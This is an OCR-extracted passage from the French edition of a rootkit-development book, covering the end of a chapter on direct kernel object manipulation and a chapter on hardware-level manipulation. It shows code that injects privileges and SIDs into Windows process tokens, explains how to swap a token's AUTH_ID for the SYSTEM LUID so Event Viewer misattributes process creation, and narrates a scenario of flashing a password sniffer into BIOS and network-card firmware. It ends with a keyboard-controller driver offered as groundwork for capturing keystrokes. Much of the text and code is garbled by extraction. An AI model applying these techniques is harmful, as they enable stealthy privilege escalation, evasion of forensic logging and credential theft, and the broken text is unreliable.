// Apporte les dernires modifications au jeton *(int *)(token +
SIDCOUNTOFFSET) += 1;
*(int *)(token + PRIVCOUNTOFFSET) = i_LuidsUsed;
*(PSID_AND_ATTRIBUTES *)(token + SIDADDROFFSET) =
(PSID_AND_ATTRIBUTES)((DWORD) varbegin + (i_spaceUsed));
ExFreePool(varpart); break;

Le rootkit peut prsent ajouter nimporte quels privilges et SID de groupes


nimporte quel processus sur le systme. Lajout de SID a une consquence
intressante dans le contexte de lanalyse forensique, comme nous allons le voir la
prochaine section.

Infiltrations du noyau Windows

224 Rootkits

Faire mentir l'Observateur d'vnements


Vous savez comment dissimuler des processus et obtenir un accs privilgi, mais
vous ne savez pas qui vous observe pendant que vous accomplissez ces activits. Un
administrateur dispose de nombreux moyens diffrents pour dtecter la cration de
processus. Dans le noyau, un programme de scurit peut mme enregistrer une
fonction de callback cet effet (laquelle est neutralisable, mais nous naborderons pas
les dtails dans ce livre).
Pour observer ce qui se passe sur une machine, une approche plus simple pour
ladministrateur est dactiver une journalisation dtaille des processus, auquel cas la
cration de nouveaux processus sera consigne dans le journal dvnements de
Windows. Ce journal inclut le nom du processus, le PID parent et le nom de
lutilisateur propritaire du processus parent et qui a donc cr le nouveau processus.
Cette section explique comment modifier un jeton pour rendre lidentification du
processus correspondant plus difficile dans lObservateur dvnements {Event
Viewer).
A loffset 0x18, le jeton dun processus comprend un identifiant dauthentification, ou
AUTH_ID (cet offset est le mme dans toutes les versions du systme dexploitation).
Souvenez-vous des LUID, qui sont censs tre uniques localement seulement. Eh bien,
certains sont nanmoins cods en dur dans le DDK dans un fichier . h ! Il sagit des
LUID suivants :
#define SYSTEM_LUID #define
ANONYMOUS_LOGON_LUID #define
LOCALSERVICE_LUID #define
NETWORKSERVICE LUID

0x000003e7; //
0x000003e6; //
0x000003e5; //
0x000003e4; //

{ 0x3e7, 0x0 }
{ 0x3e6,0x0 }
{ 0x3e5, 0x0 }
{ 0x3e4, 0x0 }

Vous pouvez remplacer le AUTH_ID de nimporte quel processus par un de ces LUID
connus. Les AUTH_ID sont uniques pour chaque connexion ou session. Le systme
les utilise parfois pour associer un nombre une session laquelle est dj associ un
nom.
ATTENTION -------------------------------------------------------------------------------------------------------------------

Soyez prudent lorsque vous modifiez le AUTHJD d'un jeton de processus. Si vous le remplacez
par un LUID pour lequel il n'existe pas de session, vous provoquerez un cran bleu.

Chapitre 7

Manipulation directe des objets du noyau 225

Lorsque le suivi dtaill des processus a t activ, un vnement sera enregistr dans
le journal pour chaque processus cr, ressemblant ce qui est illustr la Figure 7.6.

Figure 7.6

Evnement de cration de processus dans l'Observateur d'vnements.

Dans la section de description de la figure, on peut voir que lutilisateur qui a ouvert la
session est ladministrateur, que le domaine est F1BG-W2KS-0 et que lidentifiant de
session (cest--dire lAUTH_ID) est 0x,0x1066C. Cette entre du journal rvle que
ladministrateur (cette identit est obtenue partir de lAUTHJD) a lanc le processus
Regedt32. exe.

Examinons maintenant les informations que renvoie lObservateur dvnements


aprs que nous avons modifi le jeton du processus parent en remplaant son
AUTH_ID par le LUID du processus System (0x3E7, 0x0) et son SID propritaire

226 Rootkits

Infiltrations du noyau Windows

par le SID du processus System. Le SID propritaire est le premier SID de la liste. La
section prcdente a expliqu comment changer des SID. Nous lanons de nouveau
Regedt32.exe partir de linvite de commande. Lentre rsultante est prsente la
Figure 7.7. Cette fois, lObservateur dvnements affiche des informations diffrentes.
Dans la section de description, lutilisateur est maintenant HBG-W2KS-0$, soit un
alias pour le processus System, et lidentifiant de session est identique la valeur
AUTH_ID que nous avons spcifie. A laide de cette technique, le rootkit peut donner
limpression que nimporte quel processus appartient un autre utilisateur.

Figure 7.7

Evnement de cration de processus aprs modification des identifiants AUTHJD et


SID.

Chapitre 7

Manipulation directe des objets du noyau 227

Conclusion
Dans ce chapitre, vous avez dcouvert comment modifier certains des objets dont le
noyau dpend pour assurer ses fonctions de comptabilisation et de reporting. Le rootkit
peut maintenant dissimuler des processus et modifier leurs privilges daccs pour
pouvoir disposer du mme niveau daccs que le processus System. Ces techniques
DKOM sont trs difficiles dtecter et extrmement puissantes. Toutefois, elles
prsentent aussi le risque non ngligeable de faire planter la machine.
DKOM ne se limite pas ce qui a t prsent ici. Ces techniques peuvent aussi tre
appliques la dissimulation de ports rseau en modifiant les tables des ports ouverts
maintenues par Tcpip.sys des fins de comptabilisation, pour ne citer quun exemple.
Pour modifier des objets du noyau et retrouver par rtro-ingnierie o ils sont utiliss,
des outils comme Softlce, WinDbg, IDA Pro et Microsoft Symbol Server sont
inestimables.

8
Manipulations au niveau matriel
Tout au long de votre vie, avancez quotidiennement, devenant plus capable
quhier, plus capable quaujourdhui. Cela na pas de fin.
- Hagakure

Un scnario :
Lintrus se glisse le long du mur vers le chariot que le concierge a laiss au bout du
corridor. Ses yeux avisent un trousseau de cls. Il jette un rapide coup dil au coin.
"Parfait, le concierge est au bout du corridor en train de nettoyer le bureau dun
docteur", pense-t-il. Il soulve dlicatement la chane o pendent les cls et se retire
dans la pnombre du couloir. Aprs avoir tourn au coin du mur, il sarrte devant une
porte. Il essaye douvrir le verrou. Cela ne prend pas longtemps. Une fois la porte
ouverte, il retourne vers le chariot et replace les cls.
Le bureau est sombre lexception dun cran dordinateur au fond de la pice. Aprs
avoir plac l cran et le clavier au sol, il s assied dans le renfoncement du bureau.
Cest un bon endroit, ses agissements ne sont pas visibles du couloir.
Lcran de login est verrouill, mais cela na pas dimportance. Il sort un CD-ROM de
sa veste, linsre dans la machine et redmarre celle-ci. Un message apparat :
"Pressez sur n importe quelle touche pour dmarrer partir du CD... " Il appuie sur
la barre despacement. Le rootkit sur le CD infecte alors le BIOS et modifie galement
la carte Ethernet de lordinateur. Ce nest rien de trs sophistiqu ce stade, juste un
sniffeur de mots de passe. Mais il restera l pendant longtemps, mme

230 Rootkits

Infiltrations du noyau Windows

aprs que lquipe informatique "si brillante" aura rinstall Windows. "La machine
mappartient", se dit lintrus avec un sourire sur le visage.
Trente minutes plus tard, tout est remis sa place et lordinateur a t frachement
rinitialis, ce que la victime ne remarquera pas. Cest un systme Windows intact,
comme de nombreux autres dans le monde. Il contient une carte mre Intel et une carte
Ethernet 3Com dote dun processeur embarqu. Ce qui rend cet ordinateur si
important est quil rside sur le mme rseau commut quune paire de serveurs Sun
E10K situs au bout du corridor, des serveurs qui grent des centaines de gigaoctets
de donnes de travaux de recherche sur la protine. Les donnes valent des millions de
dollars.
Dans le monde rel, une attaque visant la capture de mots de passe ncessiterait
vraisemblablement des modifications du noyau en mmoire en plus de certaines
manipulations spcifiques au niveau matriel. En modifiant seulement la carte rseau,
il serait dj possible de sniffer des mots de passe (ou le rsultat de leur hachage). Un
rootkit comme celui du scnario peut rester en place pendant longtemps. En imaginant
que lquipe informatique installe une nouvelle version de Windows ou mme un
Service Pack, il devrait pouvoir continuer de fonctionner. En revanche, si le rootkit
avait introduit des modifications du noyau en plus de celles du microcode, elles
seraient alors annules par une nouvelle installation de systme ou de Service Pack.
Appliquer des changements directement au niveau du BIOS et du microcode est une
opration risque et spcifique une plate-forme. Avec une planification soigne, un
tel rootkit serait toutefois difficilement dtectable. Changer le microcode dune carte
Ethernet intelligente requiert nanmoins davoir des informations trs dtailles sur la
carte. Des renseignements de ce type peuvent tre obtenus par voie de rtro-ingnierie,
de documentation ou auprs dune personne connaissant le matriel spcifique. De
telles modifications nont pas besoin dtre effectues sur place, directement sur le lieu
de travail de lutilisateur. Elles peuvent galement tre apportes en interceptant un
matriel lors de son expdition.
Sattaquer un niveau aussi bas semble inutile. Dans de nombreux cas, cela est vrai.
Lors dune attaque visant un ordinateur personnel, le rootkit peut tirer parti dun grand
nombre de programmes et de fonctions dj installs ou actifs sur lordinateur. La
plupart de ces lments peuvent grer eux-mmes les accs matriels ce niveau.
Aussi, lattaquant naura pas besoin de le faire lui-mme et il semble logique dutiliser
ce qui existe dj.

Chapitre 8

Manipulations au niveau matriel 231

Cependant, tous les ordinateurs ne sont pas des ordinateurs personnels comme nous les
connaissons, offrant une telle richesse logicielle. Il y a aussi de nombreux systmes
embarqus qui excutent de petites tches spcifiques. Ils se trouvent partout autour de
nous, font partie de notre quotidien et nous ne les remarquons pas la plupart du temps.
Un tel systme peut se composer de quelques puces seulement et dun programme de
contrle. Il peut disposer dun "micro-cerveau" pour grer les lments importants, tels
quun moteur davancement, pour rguler la tension, la vitesse dun moteur lectrique,
les mouvements dun mcanisme, de petites lumires clignotantes ou des interfaces
vers diffrents types de cblage. Il semble logique quil y ait quelque part un
programme de contrle pour grer tout cela. Gnralement, le logiciel rside quelque
part dans une mmoire sur une puce et est utilis par un processeur central. Du point
de vue dun attaquant, le terme cl est ici processeur. Si un appareil possde un petit
processeur pour le maintenir oprationnel la nuit, il est alors possible dy excuter un
programme. Comme il est contrl par logiciel, il y a la possibilit dy placer un petit
root- kit. Ensuite, lintroduction de modifications dans le microcode pourra ajouter des
fonctionnalits de rootkit.
Dans ce chapitre, nous tudierons les manipulations matrielles et, plus
spcifiquement, les instructions quun attaquant doit lire et crire ce niveau. Nous
couvrirons galement des questions importantes que lattaquant doit considrer pour
que ses actions soient indtectables.

Pourquoi le niveau matriel ?


Les manipulations matrielles sont une lame double tranchant. Dun ct, elles
placent le rootkit un niveau sous-jacent tout autre lment. Il bnficie ainsi dun
plus grand contrle et dune plus grande furtivit (de la plus grande dont il puisse
disposer). Il peut accder directement aux composants matriels, tels que les
contrleurs de disques, les cls USB, les processeurs ou la mmoire de microcode. Par
ailleurs, agir ce niveau trs spcifique est plus complexe. Un rootkit est alors conu
pour un composant prcis et ne sera pas trs portable.
Un microcode est un programme trs spcialis et, pour lattaquant, il sagit toujours
de traiter avec un rootkit logiciel. Le matriel tend tre "rticent" et demande que les
choses soient ralises de manire trs spcifique.

232 Rootkits

Infiltrations du noyau Windows

Mme deux composants ayant un mme numro de modle peuvent diffrer dans le
dtail de leur mcanisme. Le numro de modle nest quune tiquette commerciale.
Seul le numro de srie peut permettre de dterminer une version de matriel. Comme
son nom lindique, un numro de srie permet de remonter jusqu une srie produite,
des modifications ou des corrections pouvant tre apportes entre deux sries ou lots de
fabrication.
En raison de ces particularits ou spcificits, et selon la complexit de son objectif, un
attaquant se demandera dabord si cela vaut la peine daccder au matriel. Un objectif
simple, tel que la copie dun paquet ou la modification dun bit ici et l, est le mieux
servi par le matriel. Un bon exemple est un module matriel qui attend jusqu ce
quil voie une squence doctets spcifique avant de faire planter le systme. En
revanche, des programmes de backdoor ou des shells utilisateurs complexes devraient
tre crits au moyen dun programme de haut niveau, par exemple dans le mode noyau
ou utilisateur, et ne recourir quavec parcimonie certaines astuces matrielles, si
mme elles taient ncessaires.
Ces rserves tant faites, nous allons approfondir vos connaissances en partant du
principe que nous souhaitons accder au matriel laide dun rootkit. Nous traiterons,
entre autres choses, de la modification du microcode, de la faon dadresser le matriel
et des questions de temporisation. Nous crerons galement un exemple de rootkit
pouvant sinterfacer avec le contrleur de clavier.

Modification d'un microcode


De par sa conception, un processeur commence son fonctionnement en excutant un
programme stock dans une puce mmoire. Par exemple, un PC excute le BIOS
lorsquil est dmarr. Les systmes matriels prsentent de grandes diffrences, mais
ils partagent un point commun : un code damorage doit tre activ, quelque part, et
dune certaine manire. Ce code damorage, ou bootstrap, est parfois galement
appel microcode ou firmware. Il est non volatile, cest--dire quil nest pas effac de
la mmoire lorsque lordinateur est teint. Ce pourrait tre un point de dpart pour un
rootkit.
En partant du principe que les fonctionnalits du microcode sont trs importantes pour
le fonctionnement dun systme, un rootkit devrait non pas en supprimer mais en
ajouter (voir Figure 8.1). Ceci peut tre simple si vous dissquez le microcode par
rtro-ingnierie dans un programme tel que IDA-Pro (www.data- rescue.com) et
trouvez un emplacement convenable pour patcher le flux dexcution.

Chapitre 8

Manipulations au niveau matriel 233

La taille de la mmoire du microcode est limite. Aussi, si un rootkit nest pas


suffisamment petit pour tenir dans lespace non utilis limit, il crasera une partie du
microcode existant. Dans ce cas, il vaut mieux quil sagisse de fonctionnalits qui ne
soient jamais utilises ou dune section pouvant tre crase.
Figure 8.1

Un rootkit
ajoute de
nouvelles
fonctionnalits
un microcode
existant.

Le placement dun rootkit dans un microcode demande dcrire directement dans une
puce. Dans le cas dun PC, la dmarche la plus vidente est de modifier le BIOS. Ceci
peut tre ralis laide dun dispositif externe ou dun programme embarqu sur une
carte. Un dispositif externe requiert un accs physique la cible. Lapproche logicielle
ncessite lemploi dun programme de chargement (loader). Cette dernire est la
mthode la plus couramment applique aux PC. Un exploit logiciel ou un cheval de
Troie peut tre utilis pour introduire le programme de chargement, lequel peut ensuite
modifier le microcode.
Si le composant cible est un routeur ou un systme embarqu, un programme de
chargement sera difficile utiliser. De nombreux composants matriels ne sont pas
conus pour excuter des programmes tiers et ne possdent pas de mcanismes pour
dmarrer plusieurs processus. Certains modules disposent parfois dune fonctionnalit
de mise jour permettant le chargement dun nouveau code dans la puce, ce qui peut
alors tre exploit par un rootkit.

Accs au matriel
Le logiciel a t lou pour ses facults de calcul et les services rendus en la matire.
Une autre chose quun programme fait galement trs bien est de dplacer des donnes
dun endroit vers un autre. En fait, cette capacit est parfois mme plus

234 Rootkits

Infiltrations du noyau Windows

importante que celle de pouvoir rsoudre des problmes mathmatiques. Personne


nignore la vitesse laquelle des donnes peuvent se dplacer. Lindustrie sest
efforce depuis des dcennies damliorer la vitesse des composants : bus, units de
stockage, processeurs, etc.
La plupart des lments matriels dun ordinateur peuvent tre pilots laide de
programmes grant lchange de donnes et dinstructions entre ces lments. Pour
cela, la plupart des composants possdent une puce lectronique pouvant tre adresse
dune manire ou dune autre.

Adresses matrielles
Lchange de donnes avec une puce ncessite lemploi dune adresse. Gnralement,
une telle adresse est connue lavance et est cble, ou grave, dans la puce. Le bus
dadressage se compose de nombreuses liaisons, certaines tant relies diffrentes
puces. Aussi, lorsque vous slectionnez une adresse pour crire des donnes, vous
choisissez en fait une certaine puce.
Une fois slectionne, la puce lit les donnes partir du bus de donnes, et cest elle
qui contrle le matriel en question. La Figure 8.2 illustre ces deux oprations de
slection et de lecture.
Figure 8.2

Le bus d'adressage
slectionne une
puce d'un contrleur
matriel, puis les
donnes sont lues.

La plupart des dispositifs matriels possdent une sorte de puce contrleur exposant un
emplacement de mmoire adressable, parfois appel un port. La lecture et lcriture sur
un port peut ncessiter des codes doprations, ou opcodes, spciaux.

Chapitre 8

Manipulations au niveau matriel 235

Certains processeurs disposent dun jeu dinstructions qui leur est propre et qui doit
tre utilis pour communiquer avec les ports matriels.
Dans larchitecture x86, lchange de donnes avec des ports seffectue au moyen des
instructions IN et OUT, pour respectivement lire et crire. Certaines puces sont aussi
mappes en mmoire et sont alors accessibles laide dinstmctions habituelles
dassignation, telles que MOV sur le x86.
Indpendamment du jeu dinstructions utilis, une adresse est requise. Cest de cette
faon que la carte mre saura vers quel emplacement router les donnes.
Ladressage du matriel peut tre un sujet complexe, et connatre une adresse nest
quune partie du problme. Les sections suivantes abordent les dfis qui peuvent se
prsenter.

Accs matriel vs accs la RAM


Un composant matriel possde un comportement particulier diffrent de celui de la
mmoire RAM. Si vous crivez une adresse et lisez partir de celle-ci, vous ntes
pas sr de lire ce que vous venez dcrire. Lopration de lecture doit tre traite
diffremment de celle dcriture. Ceci est d un mcanisme spcial de slection
appel latching.
A lintrieur dune puce, ce mcanisme sert slectionner un registre diffrent selon
quil sagisse dune opration de lecture ou dcriture. A la Figure 8.3, une opration
crit dans le registre 2 alors que la lecture utilise le registre 1.

Figure 8.3

Le mcanisme de
latching entre deux
registres pour les
oprations de
lecture et
d'criture.

Infiltrations du noyau Windows

236 Rootkits

De l'importance de la synchronisation
Lorsque vous crivez sur une puce flash, chaque opration dcriture peut ncessiter un
certain temps pour se terminer. Si vous criviez partir dune boucle trs courte, vous
pourriez remarquer, par exemple, que seul un octet sur cinq serait pris dans lopration
dcriture. La raison est quil faut attendre un certain temps pour que lopration
prcdente se termine avant de passer au prochain octet. Gnralement, un contrleur
ou une puce mmoire exige lcoulement dun certain intervalle, aussi court soit-il,
avant daccepter la prochaine instruction, gnralement mesur en microsecondes.
Dans le noyau Windows, vous pouvez utiliser la fonction KeStallExecutionProcessor pour provoquer une lgre "temporisation" du processeur pendant un
certain nombre de millisecondes.

Le bus d'entre/sortie
La puce contrleur dE/S est le cur et lme de la machine. Comprendre son
fonctionnement permet daccder nimporte quel composant matriel dun systme.
Le processeur (ou plusieurs processeurs) partage gnralement un mme bus avec la
mmoire (RAM). Les cartes dextension et les priphriques sont gnralement relis
par un bus distinct, et la seule faon daccder ces autres bus est par lintermdiaire
du contrleur (voir Figure 8.4).
Figure 8.4
Une puce "bridge "
contrle l'accs
un bus secondaire
de priphriques.

| Processeur

| Mmoire principale

-I

Bus du processeur

I Contrleur
; "bridge" ' -----------------

Plusieurs bus de priphriques sont accessibles :


B le bus PCI ;

Bus de priphriques
:
|f<:

Chapitre 8

Manipulations au niveau matriel 237

le bus AGP ;
lebusAPIC;
les bus EISA et ISA ;
B

le bus HyperTransport ;

le bus LPC ;
H le bus FSB (Front Side Bus) ;
le bus I2C.
Certains priphriques sur le bus ne peuvent rpondre quaux requtes inities par le
processeur. Dautres peuvent en mettre de faon indpendante. Un priphrique qui
se signale de cette faon est appel V initiateur. Certains priphriques "coutent"
toutes les transactions intervenant sur le bus. Un priphrique se comporte ainsi
lorsquil possde une mmoire cache locale et doit dtecter lorsque le contenu dune
adresse mmoire est modifi. Par exemple, la mmoire principale est frquemment la
cible de requtes, elle ninitie pas de requtes mais coute le bus au cas o un autre
processeur ou priphrique PCI modifie une quelconque zone en cache.
B

La Figure 8.5 illustre un exemple de disposition des composants lmentaires dune


carte mre ; il existe dautres types de configurations. Certaines puces multifonctions
spcialises peuvent remplacer de larges portions de la carte mre. Par exemple, les
puces ICH (I/O Controller Hub) dIntel sont connues pour se charger de nombreuses
tches. Elles sont relies au bus PCI, peuvent grer les transferts USB, IDE et audio, et
elles peuvent aussi tre relies un bus LPC (Low Pin Count) supplmentaire.
Lorsque vous travaillez avec des bus, souvenez-vous quune puce contrleur peut
traduire ladresse mmoire sur un bus en une adresse totalement diffrente sur un autre
bus. Chaque bus possde une mthode spcifique de gestion de ladressage. Si vous
initiez une transaction partir dun priphrique, elle devra tre dans le format attendu
par le bus auquel le priphrique est reli.

Infiltrations du noyau Windows

238 Rootkits

I Mmoire vido locale |


Contrleur vido
! Processeurs '
i Contrleur IDE

Southbridge

----1 Bus AGP i

Bus PCI

Js

Bus ISA ;

-/

il /
I BIOS !

WW

Bus FSB

I Ethernet ! I SCSI

Northbridge
Mmoire principale ;

E/S pour I clavier,


souris,' ports srie
]

Figure 8.5

Un exemple de configuration de carte mre.

Accs au BIOS
Dans la majorit des cas, un BIOS nest utilis que pour dmarrer un ordinateur. Les
systmes dexploitation modernes font aujourdhui une utilisation limite des
fonctions quun BIOS peut offrir. Aprs lexcution du code damorage et
lidentification des disques durs, le BIOS transfre le contrle au bloc de code situ
sur le disque, ou la partition, de dmarrage. Ce petit programme prend le contrle et
lance le systme dexploitation.
Les puces de BIOS actuelles sont flashables, ce qui signifie quelles peuvent tre
mises jour par voie logicielle. Un virus connu, appel CIH, a t conu pour dtruire
le BIOS sur un ordinateur. Il a t destructeur et coteux pour les personnes qui en ont
t victimes. Au moment de la rdaction de cet ouvrage, aucun rootkit rapport ne
stait encore attaqu au BIOS, mais cest une cible envisageable.

Chapitre 8

Manipulations au niveau matriel 239

Accs aux dispositifs PCI et PCMCIA


Il existe de nombreux composants pouvant tre relis aux bus PCI et PCMCIA, tels
que les cartes dinterface rseau ou les priphriques externes. Les priphriques PCI
peuvent disposer de leur propre BIOS embarqu. Un BIOS PCI est galement un
endroit o un rootkit pourrait venir se loger. Une autre possibilit est lemploi dun
dispositif pouvant tre insr (tel quune carte PCMCIA ou une cl USB) pour
modifier la mmoire principale afin dintroduire un rootkit 1.
Un environnement matriel prsente de nombreux aspects complexes, davantage que
ce que lon sattendrait rencontrer. Il offre galement un fort potentiel pour le
dveloppement de rootkits, et cela pourrait tre le sujet dun livre part entire.

Accs au contrleur de clavier


Vous avez maintenant une ide approximative de la faon dont les accs matriels
peuvent tre raliss. Nous allons approfondir vos connaissances par le biais dun
exemple simple fonctionnant avec le contrleur de clavier.
Le clavier est linterface principale entre lutilisateur et lordinateur. Il suffit de voir le
nombre de touches pour sassurer de sa complexit. Cest aussi la source de nombreux
secrets, le mot de passe ntant pas des moindres. Au-del du mot de passe, il est aussi
lorigine de toutes les communications en ligne, telles que par e-mail ou messagerie
instantane. En tant que source principale de toutes les informations fournies par
lutilisateur, le clavier est un objet de convoitise que beaucoup veulent espionner. Il
existe diffrentes faons dintercepter la frappe. Le sujet de notre chapitre tant le
matriel, nous examinerons comment raliser cela en utilisant le contrleur.

Le contrleur de clavier 8259


Il est facile de contrler une puce condition de connatre son adresse. Gnralement,
la procdure se limite au simple emploi des instructions IN et OUT. Le contrleur de
clavier sur la plupart des PC est adressable aux adresses 0x60 et 0x64. Comme dj
introduit plus haut, ces emplacements sont parfois appels des ports, chacun
fournissant un accs la puce.

1. Cette attaque a t dmontre sur un port Firewire sous certains systmes dexploitation. Au moment de la
prparation de ce livre, certains rsultats de recherches concernant cette approche commenaient tre
publis.

240 Rootkits

Infiltrations du noyau Windows

En utilisant le DDK, vous disposez de quelques macros pour lire et crire sur un port :
READ_PORT_UCHAR( ... );
WRITE_PORT_UCHAR( ... );

Une alternative est dutiliser les directives du langage assembleur :


IN
OUT

Que pouvons-nous donc faire avec le contrleur de clavier ? La premire ide vidente
est de lire la frappe. Vous pouvez aussi placer des caractres dans le tampon du clavier
ou modifier ltat des LED. Cest ce que nous allons faire. En jouant avec les
indicateurs lumineux du clavier, vous pouvez tout de suite vrifier les rsultats de votre
travail.

Modification des LED du clavier


La commande pour activer les LED est 0xED. Loctet 0xED doit tre le premier envoy
au contrleur pour que cela fonctionne. Il est envoy au port 0x60 et doit tre suivi
immdiatement dun autre octet. Ce dernier permet dindiquer les LED selon la valeur
de ses 3 bits de plus faible poids.
La Ligure 8.6 illustre loctet de donnes qui est utilis avec la commande.
Figure 8.6

L'octet de donnes
utilis
avec
la
commande 0xED.

Voici une mthode simple dactivation de ces trois LED :


WRITE_PORT_UCHAR( 0x60, 0xED );
WRITE_PORT_UCHAR( 0x60, 00000111b);

Le problme avec cette approche est quelle nattend pas que le clavier soit prt
recevoir les commandes. Sil est occup grer dautres tches, elle peut causer des
problmes. Avec le matriel, il faut souvent attendre que le contrleur soit prt. Si vous
tentez denvoyer des donnes alors quil ne lest pas, rien ne se passe gnralement.
Cependant, il peut arriver quune confusion se produise et quun plantage sensuive, ce
qui est plus ennuyeux.

Manipulations au niveau matriel 241

Chapitre 8

Le code suivant illustre une mthode plus conviviale. Notez que toute instruction
DbgPrint est mise en commentaire. Ceci est trs important. Si vous utilisez cette
instruction lintrieur de petites routines ou de gestionnaires dinterruptions, des
problmes peuvent se poser. Vous pouvez tre chanceux et parvenir ce que cette
instruction fonctionne sans encombre, mais vous pouvez aussi risquer de geler le
systme ou provoquer un plantage avec apparition de lcran bleu.

Rootkit.com
L'exemple de driver de clavier peut tre tlcharg l'adresse
www.rootkit.com/vault/hoglund/basic_hardware.zip.

Notre exemple de driver utilise un temporisateur pour modifier ltat des LED aprs
coulement dun intervalle de quelques millisecondes. Il est dfini en tant que variable
gTimer. Lorsquil expire, un appel de procdure diffr, ou DPC, est planifi. Il est
dfini sous le nom gDPCP. Le DPC est en ralit un appel callback dans la fonction
Time rDPC ( ) que nous dfinissons et contrlons :
PKTIMER gTimer;
PKDPC
gDPCP;
UCHAR
g_key_bits = 0;
// Octets de commande
#define SET_LEDS
#define KEY_RESET

0xED
0xFF

// Rponses du clavier
#define KEY_ACK
0xFA
#define KEY_AGAIN
0xFE

// Accuse rception
// Nouvel envoi

Les constantes symboliques utilises pour dcrire les donnes changes laide des
deux ports du clavier sont STATUS BYTE, COMMAND BYTE et DATA BYTE. Le terme correct
utiliser dpend de lopration voulue (voir Figure 8.7).

Figure 8.7

Les
ports
contrleur
de clavier.

sur

le

242 Rootkits

Infiltrations du noyau Windows

Il
Il
Il
Il

Ports du contrleur 8042


La lecture sur le port 60 est appele STATUS_BYTE.
L'criture sur le port 60 est appele COMMAND_BYTE.
La lecture et l'criture sur le port 64 sont appeles DATA_BYTE. PUCHAR
KEYBOARD_PORT_60 = (PUCHAR)0x60 ;
PUCHAR KEYB0ARD_P0RT_64 = (PUCHAR)0x64 ;
// Bits de registre d'tat #define IBUFFER_FULL 0X02 #define
OBUFFER_FULL 0x01 // Flags pour les LED du clavier #define
SCR0LL_L0CK_BIT (0x01 0)
#define NUMLOCK_BIT (0x01 1)
#define CAPS_LOCK_BIT (0x01 2)

La fonction WaitForKeyboard excute une boucle pour temporiser, en lisant le port 0x64
jusqu ce que le flag IBUFFER_FULL soit mis 0. Le clavier est alors prt recevoir
des commandes. Comme introduit plus haut, linstruction DbgPrint a t mise en
commentaire pour prvenir toute instabilit. Lemploi de KeStallExe- cutionProcessor
permet de faire temporiser le processeur pendant quelques millisecondes1. Ce
"pitinement" du processeur donne au clavier la possibilit de finir la tche en cours :
ULONG WaitForKeyboard()

{
char _t[255];
int i = 100; // Nombre d'itrations de la boucle
UCHAR mychar;
//DbgPrint("waiting for keyboard to become accessible\n"); do
{
mychar = READ_PORT_UCHAR( KEYB0ARD_P0RT_64 );
KeStallExecutionProcessor(50);
//_snprintf(_t, 253, "WaitForKeyboard::read byte %02X //
from port 0x64\n", mychar);
//DbgPrint(_t);
if(!(mychar & IBUFFER_FULL)) break; // Si le flag est 0,
// le programme se poursuit.

}
while (i--);
if(i) return TRUE; return FALSE;

1. Il est recommand de ne pas utiliser KeStallExecutionProcessor pendant plus de 50 microsecondes.

Chapitre 8

Manipulations au niveau matriel 243

Si le tampon contient des caractres, la fonction DrainOutputBuffer en prlvera toutes


les donnes :
// Appeler WaitForKeyboard avant d'appeler cette fonction,
void DrainOutputBuffer()

{
char _t[255];
int i = 100; // Nombre d'itrations de la boucle
UCHAR c;
//DbgPrint("draining keyboard buffer\n"); do {
C = READ_PORT_UCHAR(KEYB0ARD_P0RT_64);
KeStallExecutionProcessor(666);
//_snprintf(_t, 253, "DrainOutputBuffer: :read byte //
%02X from port 0x64\n", c);
//DbgPrint(_t);
if(!(c & OBUFFER_FULL)) break; // Si le flag est 0,
// le programme se poursuit.
// Rcupration de l'octet dans le tampon de sortie.
C = READ_PORT_UCHAR(KEYBOARD_PORT_60);
//_snprintf(_t, 253, "DrainOutputBuffer::read byte //
%02X from port 0x60\n", c);
//DbgPrint(_t);

}
while (i--);

>
La fonction SendKeyboardCommand attend dabord que le clavier soit prt, puis vide le
tampon de sortie et envoie une commande sur le port 60. Cest la faon conviviale
denvoyer des commandes vers le contrleur de clavier :
// Ecrit un octet sur le port 0x60.
ULONG SendKeyboardCommand( IN UCHAR theCommand )

{
char _t[255];
if(TRUE == WaitForKeyboard())

{
DrainOutputBuffer();
//_snprintf(_t, 253, "SendKeyboardCommand::sending byte //
%02X to port 0x60\n", theCommand);
//DbgPrint(_t);
WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );
//DbgPrint("SendKeyboardCommand: :sent\n");

}
else

244 Rootkits

Infiltrations du noyau Windows

{
//DbgPrint("SendKeyboardCommand: :timeout waiting for
keyboard\n"); return FALSE;

}
I l A faire : attend un ACK ou un RESEND de la part du clavier,
return TRUE;

}
La fonction SetLEDS reoit un octet en argument dont les 3 bits de poids faible
indiquent les LED qui doivent tre actives :
void SetLEDS( UCHAR theLEDS )

{
// Prparation pour l'activation des LEDS if(FALSE ==
SendKeyboardCommand( 0xED ))

{
//DbgPrint("SetLEDS::error sending keyboard command\n");

}
// Envoie les flags pour les LEDS
if(FALSE == SendKeyboardCommand( theLEDS ))

{
//DbgPrint("SetLEDS::error sending keyboard command\n");

}
}
Nous veillons annuler le temporisateur si le driver est dcharg :
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{
DbgPrint("ROOTKIT: OnUnload called\n");
KeCancelTimer( gTimer );
ExFreePool( gTimer );
ExFreePool( gDPCP );

}
La fonction timerDPC est appele chaque fois que le temporisateur expire. Dans cet
exemple, la valeur globale g_key_bits prend successivement toutes les valeurs
possibles pour les trois LED. Ceci cre un motif lumineux intressant :
// Appele priodiquement VOID timerDPC(IN PKDPC
Dpc,
IN PVOID DeferredContext,
IN PVOID sys1,
IN PVOID sys2)

{
//WRITE_PORT_UCHAR( KEYB0ARD_P0RT_64, 0xFE );
SetLEDS( g_key_bits++ ); if(g_key_bits > 0x07) g_key_bits =
0;

Manipulations au niveau matriel 245

Chapitre 8

Notez la dfinition du temporisateur et lappel de procdure diffr (DPC). Le


temporisateur est initialis avec la valeur ngative -10 ms. Elle signifie le
dclenchement du premier vnement de temporisation aprs une priode de 10 ms1.
Le nombre ngatif sert indiquer un temps relatif plutt quun temps absolu.
La valeur importante noter est lintervalle de temporisation spcifi dans KeSetTimerEx. Cest lintervalle entre les vnements DPC qui changeront ltat des LED.
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN
PUNICODE_STRING
theRegistryPath )

{
LARGE_INTEGER timeout;
theDriverObject->DriverUnload = OnUnload;
// Ces objets ne doivent pas tre pagins.
gTimer = ExAllocatePool(NonPagedPool,sizeof(KTIMER));
gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));
timeout.QuadPart = -10;
KelnitializeTimer( gTimer );
KelnitializeDpc( gDPCP, timerDPC, NULL );
if(TRUE == KeSetTimerEx( gTimer, timeout, 1000, gDPCP))

{
DbgPrintf"Timer was already queued..");

}
return STATUS_SUCCESS;

}
Nous avons tudi plusieurs techniques importantes, dont lemploi de macros pour
